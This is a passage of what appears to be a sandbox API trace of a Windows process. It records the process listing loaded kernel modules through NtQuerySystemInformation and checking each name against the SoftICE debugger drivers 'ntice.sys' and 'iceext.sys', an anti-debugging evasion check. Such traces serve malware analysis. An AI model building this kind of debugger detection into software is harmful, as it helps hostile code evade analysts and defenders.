FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0038.775] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.775] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.776] GetProcAddress (hModule=0x77de0000, lpProcName="NtQuerySystemInformation") returned 0x77dffda0 [0038.776] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x380000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x380000, ResultLength=0x0) returned 0x0 [0038.778] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0038.778] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0038.778] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0038.779] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0038.779] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0038.780] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0038.780] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0038.781] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0038.782] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0038.783] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0038.784] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0038.785] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0038.786] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0038.787] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0038.788] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0038.789] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpata.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_msahci.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="Dxapi.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="dxg.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0038.790] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0038.791] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="secdrv.SYS") returned -1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1 [0038.792] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="spsys.sys") returned -1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="asyncmac.sys") returned 1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="E1G6032E.sys") returned 1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0038.793] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0038.794] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0038.795] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0038.796] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0038.797] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0038.798] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0038.799] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0038.800] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0038.800] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0038.801] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0038.801] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0038.802] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0038.803] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0038.804] 